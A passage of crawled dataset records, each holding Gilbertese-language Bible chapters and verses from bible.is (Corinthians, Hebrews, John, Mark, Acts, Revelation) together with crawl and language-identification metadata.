tituaraoi te Atua are E a tia n anganai, ao I riki bwa te tia kateitei ae e rabakau: I kawenea aana, ao e kateitei i aona temanna. Ma te aomata ane e kateitei e na taratara raoi aron ana kateitei. 11Bwa akea riki aana ae e konaa ni kawenea temanna i rarikin are e a tia ni kaweneaki, are Iesu Kristo. 12Ngkana e kateitei te aomata i aon aana aei, n te koora, ke n te tirewa, ke n atiibu aika a kakaawaki, ke n te kai, ke n te uteute, ke n te maange, 13ao ane e na nooraki mwiin ana mwakuri temanna ma temanna bwa aekara n te bong arei: bwa e na kaotaki n te ai are e na katai aia mwakuri nako bwa ua ra. 14Ngkana e tiku n arona ana kateitei te aomata i aona, ao e na anganaki kaniwangana. 15Ma ngkana e uruaki n te ai, ao a na bua ana bwai, ma e na kamaiuaki ngaia, kaanga ai aron te aomata are e reke maiuna mai buakon uran te ai. 16Kam aki ataingkami bwa ana umwantabu te Atua ngkami, ao E maeka Taamnein te Atua i nanomi? 17Ngkana e urua ana umwantabu te Atua te aomata, ao ngaia e na uruaki iroun te Atua: bwa e tabu ana umwantabu te Atua, are boni ngkami. 18E na tai burebureia te aomata i bon irouna. Ngkana e taku temanna i naanona bwa e rabakau i buakomin te maiu aei, ao ke e riki ni baba, bwa e aonga n rabakau. 19Bwa rabakaun aonnaba bon te nanobaba iroun te Atua. Bwa e koreaki ae e kaangai: E kamwaneia akana rabakau te Atua n aia iango n nanowanawana. 20Ao e koreaki naba ae e kaangai: E atai nanoia akana rabakau te Uea bwa akea maneia. 21Ma ngaia ae e na tai taetae te aomata ni kamoamoaa ana mwakuri temanna. Bwa bon ami bwai bwaai ni kabane: 22bwatao Bwauro, ke Aboro, ke Keebwa, ke aonnaba, ke te maiu, ke te mate, ke baika a boou, ke baika a na roko; ami bwai ni kabane baikai; 23ao ana bwai Kristo ngkami, ao ana bwai te Atua Kristo.\n1 KORINTO 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/3","date":"2013-12-12T18:42:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164676172\/warc\/CC-MAIN-20131204134436-00072-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":638,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:33E a kabwaia ane e wareki taeka ni buraabeti aikai, ao a a kabwaia naba akana ongo, akana kaawakini baika a koreaki i nanon te boki aio; bwa e a kaan te tai are a na riki iai baikai. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/3","date":"2013-12-13T01:07:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164786099\/warc\/CC-MAIN-20131204134626-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999935626983643}","num_words":56,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ke e teimatoa aroia n i tangitangiri taari. 2Kam na ururinga akoaia iruwa. Iai tabemwaang aika a karaoa anne, ao a aki ataia iai bwa a tia naba n akoiia anera. 3Ururingiia akana a kabaeaki bwa buure bwa kaanga ai aron ae kam kabaeaki ma ngaiia; ao akana a bwainikiriinaki n ai aron ae boni ngkami naba ngaiia n rabwatami. 4E na karineaki te mare irouia aomata ni kabaneia, ao a na aki urua aroia ni maiu n taanga te mwaane ma buuna; bwa te Atua E na motiki-taekaia ni kabuaakakaia taani wene ni bure ma ainenumwa ke mwaanenumwa ao taani wene ni bure ma ake akea buia. 5A na akea ni maiumi te baki-tianti, ma a na rauaki nanomi ni baika iai iroumi. Bwa E a tia ni kaangai te Atua, N na bon aki kaakiko, Ao N na bon aki kiitaniko. 6Ma ngaia ae ti na aki maaku ni kaangai, Te Uea bon te tia buokai; N na aki maaku; Tera ae e konaa te aomata ni karaoia nakoiu? 7Kam na ururingiia ami taani kairiri, ake a tataekina ana taeka te Atua nakoimi; kam na taratarai aroia ni maiuia ma mateia, ao kam na kakairi n aia onimaki. 8Ai uana nako naba Iesu Kristo ngkoananoa, ao n te bong aei, ao n aki toki. 9A na tai anaaki nanomi n aeka n reirei nako aika a kaokoro ma taekan te euangkerio. Bwa e raoiroi ae e reke kateimatoaan te nano n te akoi, ma tiaki n taian amwarake, aika akea kabwaiaia iai akana a katabeia iai 10Bon iai ara baonikarea, ae akea iai aia ibonga ake taani karao taromauri n te umwanrianna bwa a na amwarake maiai. 11Bwa rabwataia maan akana a uotaki raraaia nako nanon te tabo are e tabu ibukini kabwaraani buure iroun te ibonga ae e kakannato, a kabuokaki i tinanikun te nne ni maeka n rianna. 12Ao anne bukin are E maraki ma ni mate iai Iesu i tinanikuni mataroan te kaawa, bwa e aonga ni katabui maiuia aomata bwa ana bwai te Atua n oin raraana. 13Ma ngaia ae ti na nakoina i tinanikun te nne ni maeka n rianna, n uaia n uataboa ma Ngaia kamamaaeana. 14Bwa akea iroura ikai te kaawa ae e tei maan n aki toki; ma bon iai ae e na roko, ae ti ukoukoria. 15Ma ngaia ae i nanon Iesu ao ti na tai toki n anga te karea ae karaoiroan te Atua, ae te karea ae ti anga ni wiira aika a kaotiota onimakinan arana. 16Ao kam na tai mwaninga te kaakaraoa ae e raoiroi ma te ibuokanibwai; bwa aikai karea aika E kukurei iai te Atua. 17Kam na ongeaaba nakoia ami taani kairiri, ao kam na aan taeka irouia: bwa a tantani n aki motirawa ibukini kaawakinani maiumi, ngkai a nang taekin aroia ni mwakuri. Ngkana kam ongeaaba irouia ma n iri nanoia, ao a na karaoa aia mwakuri ma te kimwaareirei; ma ngkana kam aki, ao a na karaoa aia mwakuri ma te rawaawata n nano, ao anne bon akea buokami iai. 18Kam na tataro i bukira; bwa ti taku bwa a raoiroi mataniwiin nanora, ngkai ti kani kaakaraoa ae e raoiroi nakoni bwaai ni kabane. 19Ao bon au buubuti nakoimi ae e bati bwa kam na tataro i bukira, bwa I aonga ni waekoa ni manga okiringkami. 20Ao te Atua, ae mai irouna te raoi, are e kaira rake mai buakoia maate ara Uea are Iesu, are te Tia Kaawakin-tiibu are e kakannato, are e kaboonganaaki raraana ibukini karaoan te booraraoi are e aki toki, 21E na katauraoingkami nakoni mwakuri aika a raraoi ni kabane bwa kam aonga ni karaoa nanona, ao bwa kam aonga iroun Iesu Kristo ni karaoa are E na kukurei iai te Atua. Ao ana bwai Kristo te neboaki n aki tootoki. Amene. 22Taari, I a tia ni korea te reta ae e kimototo aei ibukini kakorakoraan nanomi, ao I butingkami bwa kam na ongoraa ma te taotaonaki n nano n te baere I a tia n taekinna iai. 23Kam na ataa tarira are Timoteo bwa e a tia ni kainaomataaki; ao ngkana e aki waeremwe n roko irou, ao ti na uaia n nooringkami. 24Kam na anga au kamauri nakoia ami taani kairiiri ma ake a itiaki ni kabaneia. A kamauringkami taari aika I-Itare. 25E na mena ana aakoi te Atua iroumi ni kabaneingkami.\nEBERA 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/13","date":"2013-12-12T17:34:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164653483\/warc\/CC-MAIN-20131204134413-00051-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":727,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.461,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12E kamanenaa ni kabane mwaakan te moani man are e tiritiri ni mwamwakuri iai i matana. Ao e anai nanoia aomata ni kabaneia i aonnaba bwa a na taromauriia te man are e moani kaoti, are iai ikoakina are e kaakaiaki are a tia ni mao.\nTE KAOTIOTI 13:12\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/12","date":"2013-12-11T07:08:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164032593\/warc\/CC-MAIN-20131204133352-00019-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":51,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.51,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:3535Ngke e a tia n atongi taeka aikai Bwauro, ao e anaa teutana te amwarake ao e tataro ni katituaraoa te Atua i mataia ni kabaneia; e anaa ngkanne teutana maiai, ao e kanna. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/35","date":"2013-12-08T20:13:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163806278\/warc\/CC-MAIN-20131204133006-00021-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999605417,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999605417251587}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai te kai ae te kureebe ni koaua, ao Tamau te tia ribana. 2Te mwaanga ae e nim ma Ngai ae e aki uaa, ao E kanakoa; ao te mwaanga ae e uaa, E kaitiakia, bwa e aonga ni kariki uaana aika a mwaiti. 3Ao ngkami, kam a kaman tia ni kaitiakaki n te taeka are I a tia n atongnga nakoimi. 4Kam na teimatoa n nim ma Ngai, ao N na teimatoa n nim ma ngkami. Akea te mwaanga ae e konaa ni kariki uaa i bon irouna, ngkana e aki nim ma botona; ao ai aromi naba, kam aki konaa ni kariki uaa, ngkana kam aki nim ma Ngai. 5Ngai te kai ae te kureebe, ao ngkami mwaangana. Ane e nim ma Ngai, ao I nim ma ngaia, ao e na kariki uaa aika a bati; bwa akea te bwai ae kam konaa ni karaoia ngkana akea Ngai. 6Ane e aki nim ma Ngai, ao e teweaki nako n ai aron te mwaanga, ao e rai. A bobootaki aeka ni mwaanga aikai, ao a teweaki nako nanon te ai, ao a bue. 7Ngkana kam teimatoa n nim ma Ngai, ao a tiku au taeka i nanomi, ao kam na buubuti baika kam tangiri, ao a na reke iroumi. 8E neboaki Tamau n ami kariki uaa aika a bati, ao n rikimi bwa au reirei. 9I tangiringkami n ai aron Tamau ngkae E tangirai; kam na teimatoa n nim ma Ngai bwa e aonga n aki bua tangirami irou. 10Ngkana kam ongeaaba nakon au tua nako, ao e na bon aki bua mai irou tangirami; n ai arou ngkai I ongeaaba nakon ana tua nako Tamau, ao e aki bua tangirau irouna. 11I atongi baikai nakoimi, bwa e aonga n reke iroumi te kimwaareirei ae ti te bo ma ae e reke irou, ao bwa e aonga ni koro raoi kimwaareireimi. 12Aio au tua: kam na i tangitangiri, n ai arou ngkai I tangiringkami. 13Akea te tangira ae e korakora riki iroun te aomata nakon ae te anga maiuna i bukiia raona. 14Raou ngkami, ngkana kam karaoi baika I tuangkami. 15I aki manga atongngkami bwa tooro, bwa te toro e aki ataa ane e karaoia ana uea; ma I atongngkami bwa raao, ibukina bwa I a tia n tuangkami bwaai ni kabane ake I ongo iroun Tamau. 16Kam aki rineai; ma I rineingkami, ao I baairei ami mwakuri, bwa kam na nako ni kariki uaa aika a bati, ao a na aki mauna uaami; ma ngaia are ngkana iai te bae kam butiia iai Tamau n arau, ao E na anganingkami. 17I tuangkami aei: kam na i tangitangiri. 18Ngkana e ribaingkami te aba, ao kam na ataia bwa e a tia n ribaai i mwaain ae e ribaingkami. 19Ngkana ana bwai te aba ngkami, ao e na tangiringkami bwa e tangiriia ana bwai; ma ngkai tiaki ana bwai te aba ngkami, ao I rineingkami maiai, ao bon aei bukina ae e ribaingkami iai te aba. 20Kam na uringa te taeka are I atongnga nakoimi are e kaangai, E aki kakannato riki te toro nakon ana uea. Ngke a bwainikiriinai, ao a na boni bwainikiriningkami naba; ngke a ongeaaba nakon au taeka, ao a na bon ongeaaba naba nakon ami taeka. 21Ma ane a na karaoi baikai ni kabane nakoimi ibukin arau, bwa a aki ataa Teuare e kanakomaiai. 22Ngke tao I aki roko n taetae nakoia, ao a na akea irouia namakinani mwiin aia bure; ma ngkai, ai bon akea aonaia ibukin aia bure. 23Ane e ribaai, ao e ribaa naba Tamau. 24Ngke tao I aki karaoi i buakoia bwaai aika a aki kaakaraoaki ma rimoa iroun te aomata, ao a na bon akea irouia namakinani mwiin aia bure; ma ngkai, a a tia n noorai ma Tamau ao a ribaira. 25Ma e riki aei, bwa e na kakoroaki bukin te taeka are e koreaki ni kaangai n aia Tua: Akea bukin ribaau irouia. 26Ma ngkana E roko te Tia Buobuoki, are N na kanakomaia nakoimi mai iroun Tamau, ao E na kakoaua i bukiu. Boni Ngaia te Taamnei ibukin te koaua, are e nako mai iroun Tamau. 27Ao ngkami naba taani kakoaua, bwa kam a tia ni meemena irou mai moana.\nIOANE 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/15","date":"2013-12-11T05:03:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164031727\/warc\/CC-MAIN-20131204133351-00093-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":704,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 BETERO 3:66n ai aron Nei Tara ngke e iriira nanon Aberaam, ao e atoatongnga bwa ana toka. Ao kam a riki bwa natina ngkami, ngkana kam kaakaraoa ae raoiroi, ma n aki mamaaku n te bwai teuana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/3\/6","date":"2013-12-06T09:09:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163050500\/warc\/CC-MAIN-20131204131730-00028-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000030994415283}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 7:33Akea taekan tamana ke tinana ke taekaia ana bakatibu; ao akea naba taekan ana bongi ni bung ke taekani matena. E riki bwa kaanga ai aron Natin te Atua; e tiku bwa te ibonga n aki toki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7\/3","date":"2013-12-09T09:02:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163949658\/warc\/CC-MAIN-20131204133229-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.999985218,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999852180480957}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te katenua ni bong, ao iai te iein i Kana i Kariraia; e mena iai tinan Iesu. 2E kaoaki naba Iesu ma ana reirei nakon te iein. 3Ngke e a bane te wain, ao e taku tinan Iesu nakoina, E a bane aia wain. 4E taku Iesu nakoina, Neiko, tai kataia n tuangai bwa tera ae N na karaoia. E tuai n roko au aoa. 5E taku ngkanne tinana nakoia taani mwakuri, Karaoa ane E tuangkami. 6Iai ikekei oneai nnen te ran aika a karaoaki man atiibu. A katauraoaki ibukini kaitiakaia I-Iutaia n aron are e kaeti ma katein aia Aro. Kanoan teaina tao i marenan te mwaiti ae uabwi nakon tenibwi te kaaran. 7E taku Iesu nakoia taani mwakuri, Kaoni nnen raan akanne; ao a kaonrakei. 8Ao E a manga taku riki, Itiia ao uotia nakoni mataniwiin te bootaki n amwarake; ao a uotia. 9E katoonga te ran are a tia n riki ngkai bwa te wain teuare mataniwiin te bootaki n amwarake. E aki ataia bwa e reke maia te wain aei. Ti taani mwakuri ake a itiia te ran aika a ataia. E wetea te tia iein mataniwiin te bootaki n amwarake, 10ao e taku nakoina, A bane n anganaki moa aomata te wain ae e rangi n raoiroi, ao ngke a bati n nimma, ao a manga anganaki te wain ae e aki bati n raoiroi. Ma ngkoe ko a tia ni kaawakina te wain are e rangi n raoiroi ni karokoa ngkai. 11Aei te moani mwakuri ae e kamiimii are E karaoia Iesu i Kana i Kariraia; E kaota iai arona bwa E mimitong, ao a onimakinna ana reirei. 12I mwiin aei, ao E nako Kaberenaum Iesu ma tinana, ma tarina ma ana reirei, ao a tiku iai tabe bong. 13E a kaan tain te Toa are te Riao, ao E nako Iesu nako Ierutarem. 14Ao E nooriia taani kaboo kao ma tiibu ma bitin i nanon te umwantabu, ao taan rai mwane bwa a waakin aia bitineti. 15E karaoa te bwai ni kataere ni mwaea aika a irariki, ao E kakioia ni kabaneia tiibu ma kao, man te umwantabu; E karangai aia taibora taan rai-mwane, ao E kauamaae aia mwane. 16E taku nakoia taani kaboo bitin, Uoti nako baikai maikai; kam na aki karaoa ana auti Tamau bwa te tabo ni kabobwai. 17Ao ana reirei a uringa are e koreaki n te Baibara, are e kaangai, E rangi ni korakora i nanou tangiran am umwantabu. 18A kaeka ngkanne I-Iutaia ao a taku, Tera te kanikina ae Ko na anganiira bwa e na kaota ae iai iroum te konaa ni karaoa te baei? 19E kaekaia Iesu ao E taku, Kam na urua te umwantabu aei, ao N na manga kateia n ti tenibong. 20A taku ngkanne I-Iutaia, Angauni ma ono ririki ana ririki te umwantabu aei ni kateaki, ao Ngkoe Ko nang kateia n ti tenibong? 21Ma te umwantabu are E nanonna Iesu bon rabwatana. 22Ma ngaia are ngke E a manga maiu man te mate Iesu, ao ana reirei a uringnga bwa E a kaman atoatonga aei; ao a kakoauaaki te Baibara ma ana taeka Iesu ake E a tia n atong. 23Ngke E mena Iesu i Ierutarem n tain te Toa are te Riao, ao a mwaiti aomata ake a onimakinna, ngke a noori mwakuri aika a kamiimii ake E karaoi. 24Ma akea onimakinaia iroun Iesu, ibukina bwa E atai aroia aomata nako, 25ao akea ae E kainnanoia bwa e na tuangnga aroia aomata, bwa E bon ataa are i nanon te aomata.\nIOANE 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/2","date":"2013-12-10T01:24:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164003799\/warc\/CC-MAIN-20131204133323-00041-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":592,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20Ao aio te kaantaninga ae e raba ae e nanonaki n itoi ake itiua, ake ko noori i nanoni baiu ae ataiu, ma kain-tei n taura ake koora ake a tei ma taura i aoia n tatabeua nako: Itoi ake itiua bon aia anera ekaretia ake itiua; ao kain-tei n taura ma taura i aoia n tatabeua nako bon ekaretia ake itiua.\nTE KAOTIOTI 1:20\nOne App.\n844 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/20","date":"2013-12-05T22:27:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048362\/warc\/CC-MAIN-20131204131728-00047-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"gil_Latn_score\": 1.0000085830688477}","num_words":67,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.313,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:1313Ngke e wai ni karaurau te angi maiaki, ao a taku bwa e na koro bukin aia iango, ma ngaia are a taeka te atinro ao a borau n ri rarikini Kirete ni kaani ma mataniwiin te aba. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/13","date":"2013-12-11T01:17:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164028001\/warc\/CC-MAIN-20131204133348-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999682903,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9999682903289795}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao Iesu, E kiitana te tabo arei, ao E nako n abana; ao a iria ana reirei. 2Ao ngke e roko te taabati, ao E moanna n reirei i nanoni mwaneabaia I-Iutaia; a mwaiti aomata ake a mena ikekei, ao ngke a ongoraa irouna ao a bane ni miimii. A taku, A reke maia baikai iroun Teuaei? Ao te rabakau ra ae E anganaki? Bwa a karaoaki baika a kamiimii aika ai aron aikai ni baina! 3Tiaki te kaabenta Teuaei, are Natini Nei Maria, ao are tarin Iakobo, ma Iote, ma Iuta, ma Timon? Ao tiaki a mena mwaanen iroura ikai? Ao a kaoti mataia n ribaia. 4E taku Iesu nakoia, Iai karinean te buraabeti n taabo nako, ma akea n oin abana ao irouia ana bu, ao i nanoni mwengana. 5Akea mwakuri aika a kamiimii ake E konaa ni karaoi ikekei, ma E ti katokai baina i aoia temwaangina aika a aoraki ni kamaiuiia. 6Ao E miimii n aia onimaki. Ao E nako ni kaawa ake a mena ikekei n reireiia aomata. 7E weteiia uaake tengauni ma uoman Iesu, ao E kanakoia ni kakauomaniia. E anganiia te mwaaka i aoia taamnei aika a kamwaraa, 8ao E tuangiia bwa a na aki uota te bwai teuana i aoni kawaia bwa ti te oko: akea te kariki ae e na uotaki, ao akea naba te buua ke te mwane i nanoni nneia aika a na uotaki; 9ma a na karin aia kau ni wae, ao a na aki bwain uoua aia kabaraaki. 10Ao E a manga taku riki nakoia, N te tabo are kam rin iai, ao tiku n te auti anne ni karokoa kam kiitana te tabo anne. 11Ao ngkana kam kawara te kaawa teuana ma a aki butimwaaingkami kaaina ao a aki kan ongoraa iroumi, kiitanna ao taei bubun aontano mai waemi bwa te bwai ni kakoaua nakoia bwa a aki mutiakiningkami. 12Ao uaakekei a nako ao a reireiia aomata bwa a na rairi nanoia. 13A kanakoia taimonio aika a bati; ao aomata aika a mwaiti aika a aoraki a kabiraki irouia n te bwa, ao a kamaiuaki. 14Ao te uea are Erote, e ongo taekan Iesu; bwa e a rangi n atoatoangaki arana. A taku temwaangina, E a uti Ioane are te tia bwaabetiito mai buakoia maate, ma ngaia ae e a reke irouna te mwaaka ni karaoi mwakuri aika a kamiimii. 15Ma a taku temwaangina, Bon Eria. Ao temwaangina, a taku, Bon te buraabeti, n ai aron temanna mai buakoia buraabeti ake rimoa. 16Ma ngke e ongo taekana Erote, ao e taku, Bon Ioane, are I a tia ni korea roroana, ma e a manga maiu! 17Bwa teuae Erote, e a tia n anga mwaakana bwa e na tauuaki Ioane bwa te bure; ao e tua bwa e na kabaeaki, ao e na kaakaki i nanon te karabuuti. E karaoa aei Erote ibukin Eroria, bwa e a tia n iein ma ngaia, ao neiei boni buun tarina are Biribo. 18Bwa e kaangai Ioane nakon Erote, E aki riai i aan te tua bwa ko na iein ma buun tarim. 19Ao Eroria, e nanobuaka ao e kani kamatea Ioane. Ma e aki konaa, 20bwa Erote, e maaka Ioane, n ataakina irouna bwa te aomata ngaia ae e raoiroi ae e tabu; ao e kaawakinna raoi. E kan ongoongoraa irouna, e boni ngae ngke e kaakakiriweaki nanona ni katoaa te tai are e ongoraa iai irouna. 21E reke ana tai Eroria: e reke n ana tai Erote ngke e kauringa ana bongi ni bung, ngke e karaoa te amwarake ae e abwaabwaki i bukiia ake a kakannato n te tautaeka, ao i bukiia mataniwi n taanga ni buaka, ma aomata ake a kakannato i Kariraia. 22Ao ngke e rin ni bwabwaatere natin Eroria te aine, ao e kakukureia nanon Erote ma iruwa; ao e taku te uea nakon te teinaine, Tuangai te bwai ane ko tangiria, ao N na anganiko. 23Ao e taetae n tuea nakoina ni kaangai, Ane ko tuangai, ao N na anganiko, e aoria ngkana iteran ueau. 24Ao e oti nako ao e taku nakon tinana, Tera ae N na tuangnga? Ao e kaeka tinana, ni kaangai, Atuun Ioane are te tia bwabetito. 25Ao neierei, e kawaekoaa n rin nakon te uea, ao e tuangnga ni kaangai, I tangiriko bwa ko na anganai ngkainaba atuun Ioane are te tia bwaabetiito i aon te raurau. 26E rangi n nanokaawaki te uea; ma ibukin ana taeka ni bau are e a tia n atongnga i mataia ana iruwa, ao e aki kan urua ana taeka ni bau nakon neierei. 27Ao e waetata te uea ni kanakoa te tautia temanna, ao e tua bwa e na uotaki atuun Ioane. E nako n te karabuuti te tautia, ao e korea roroan Ioane. 28E uota atuuna i aon te raurau ao e angan te teinaine, ao ngaia e a manga angan tinana. 29Ngke a ongo ana reirei Ioane taekan te baerei, ao a roko, ao a uota nako rabwatana, ao a kaaki i nanon te nne ni mate. 30A oki nakon Iesu taan tuatua, ao a tuangnga bwaai ni kabane ake a tia ni karaoi ao ake a tia n reireiia aomata iai. 31Ao E taku nakoia, Ti a nako ni kaokoroira n te tabo ae e aki maekanaki bwa kam na motirawa iai teutana. Bwa a mwaiti aomata ake a roko ao a nako, ao e a aki reke aia tai uaakekei n aoriia i bon irouia, ao n amwarake naba. 32A toka i aon te booti n ti ngaiia nakon te tabo ae e aki maekanaki. 33A mwaiti aomata ake a nooriia n nako, ao a kinaiia; ma ngaia are a mwananga mani kaawa nako ao a biribiri n ri moa ri aon te aba, ao a roko n te tabo arei i mwaain rokon Iesu ma ana reirei. 34Ngke E roko Iesu n te aba, ao E nooriia aomata aika a mwaiti, ao E nanoangaiia, bwa ai aroia tiibu aika akea te tia kaawakiniia; ao E moanna n reireiia baika a bati. 35Ngke e a kaani bong, ao a nakoina ana reirei, ao a taku, E aki maekanaki te tabo aei, ao e a bwaka nako te tai. 36Kanakoia aomata bwa a na nako n abaia taan unuuniki ao nakoni kaawa aika i rarikira bwa a na kabooi kanaia iai. 37Ao E kaekaia Iesu ni kaangai, Kam na anganiia kanaia ngkami. A titirakinna ni kaangai, Ko tangiriira bwa ti na nako ni kabooi kariki n uabubua te tenari, ao ti na anganiia bwa a na kanna? 38E taku nakoia, Iraua te kariki iroumi? Naako, noori. Ao ngke a ataia, ao a kaangai, Nimaai te kariki, ao iai naba uoman te ika. 39Ao E tuangiia ana reirei bwa a na kabaneia aomata ni katekatekaia ni kurubu nako i aon uteute aika a mwaawaawa. 40Ma ngaia are a tekateka aomata n aia kurubu nako: iai ae kakatebubua kaaina, ao iai a kakanimangaun. 41E anai ngkanne kariki ake nimaai ma iika ake uoman, ao E tara rake nako karawa, ao E kaaitaua te Atua. E urui kariki, ao E anganiia ana reirei bwa a na tibwatibwai ni kaaki i mataia aomata; ao E tibwai naba iika nakoia aomata ni kabaneia. 42A bane n amwarake ao a ngae. 43Ao ana reirei Iesu a anai tengauni ma uakora bwaene aika a on n nikirani kariki ma iika. 44Mwaitiia mwaane ake a amwarake, bon nimaua tenga. 45Ao ngkekei naba, iai ana mwakuri Iesu are E karaoia are e a karika iai tokaia ana reirei i aon te booti, ao a nako n ri moana nako Betetaita; ao Ngaia, E kaokiia nako aomata. 46Ao ngke E kiitaniia aomata, ao E nako n te maunga bwa E na tataro. 47Ngke e a bong, ao e mena te booti i nuukan te nama; ao Iesu, E tiku i eta n ti Ngaia. 48E nooriia ana reirei bwa a kainnano ni bwennarina, bwa e kauntabaia te ang. Ma ngaia are ngke tao marenan te 